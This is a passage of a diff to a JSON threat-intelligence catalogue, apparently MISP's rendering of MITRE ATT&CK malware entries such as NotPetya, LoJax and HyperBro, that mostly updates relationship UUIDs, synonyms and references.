"3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31123,7 +36716,7 @@ "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31170,7 +36763,7 @@ }, "related": [ { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31184,7 +36777,7 @@ "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31198,14 +36791,14 @@ "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31219,42 +36812,35 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31275,7 +36861,7 @@ "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31289,49 +36875,49 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31352,7 +36938,7 @@ "type": "uses" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31364,6 +36950,41 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4bc31b94-045b-4752-8920-aebaebdb6470", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "32066e94-3112-48ca-b9eb-ba2b59d2f023", @@ -31386,21 +37007,21 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31414,14 +37035,14 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31442,7 +37063,7 @@ "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31517,13 +37138,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "454fe82d-6fd2-4ac6-91ab-28a33fe01369", "value": "HOPLIGHT - S0376" }, { - "description": "[NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)", "meta": { "external_id": "S0368", "mitre_platforms": [ @@ -31532,10 +37160,13 @@ "refs": [ "https://attack.mitre.org/software/S0368", "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html", - "https://www.us-cert.gov/ncas/alerts/TA17-181A" + "https://www.us-cert.gov/ncas/alerts/TA17-181A", + "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/" ], "synonyms": [ "NotPetya", + "ExPetr", + "Diskcoder.C", "GoldenEye", "Petrwrap", "Nyetya" @@ -31543,21 +37174,21 @@ }, "related": [ { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31571,28 +37202,21 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31606,7 +37230,7 @@ "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31620,7 +37244,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31667,21 +37291,21 @@ "type": "uses" }, { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31716,14 +37340,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31737,7 +37361,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31751,14 +37375,14 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "e49ee9d2-0d98-44ef-85e5-5d3100065744", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31772,7 +37396,7 @@ "type": "uses" }, { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31835,14 +37459,14 @@ "type": "uses" }, { - "dest-uuid": "54456690-84de-4538-9101-643e26437e09", + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31856,14 +37480,14 @@ "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", + "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31877,21 +37501,28 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31925,21 +37556,21 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31953,7 +37584,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -31967,21 +37598,21 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32036,35 +37667,28 @@ "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e", + "dest-uuid": "31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32083,6 +37707,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "d1531eaa-9e17-473e-a680-3298469662c3", @@ -32106,42 +37744,35 @@ }, "related": [ { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32155,14 +37786,7 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "54456690-84de-4538-9101-643e26437e09", + "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32174,6 +37798,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "d6b3fcd0-1c86-4350-96f0-965ed02fcc51", @@ -32198,21 +37836,14 @@ }, "related": [ { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32240,7 +37871,7 @@ "type": "uses" }, { - "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32254,21 +37885,21 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32282,21 +37913,21 @@ "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32310,7 +37941,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32324,7 +37955,14 @@ "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32351,7 +37989,7 @@ }, "related": [ { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32379,7 +38017,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32390,7 +38035,7 @@ "value": "LoJax - S0397" }, { - "description": "Yahoyah is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)", + "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)", "meta": { "external_id": "S0388", "mitre_platforms": [ @@ -32401,7 +38046,7 @@ "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" ], "synonyms": [ - "Yahoyah" + "YAHOYAH" ] }, "related": [ @@ -32427,7 +38072,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32441,7 +38086,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32449,7 +38094,7 @@ } ], "uuid": "cb444a16-3ea5-4a91-88c6-f329adcb8af3", - "value": "Yahoyah - S0388" + "value": "YAHOYAH - S0388" }, { "description": "[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)", @@ -32470,14 +38115,14 @@ }, "related": [ { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32519,14 +38164,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32557,14 +38202,14 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32578,21 +38223,21 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -32726,7 +38371,2306 @@ ], "uuid": "c41a8b7c-3e42-4eee-b87d-ad8a100ee878", "value": "Pallas - S0399" + }, + { + "description": "[ShimRat](https://attack.mitre.org/software/S0444) has been used by the 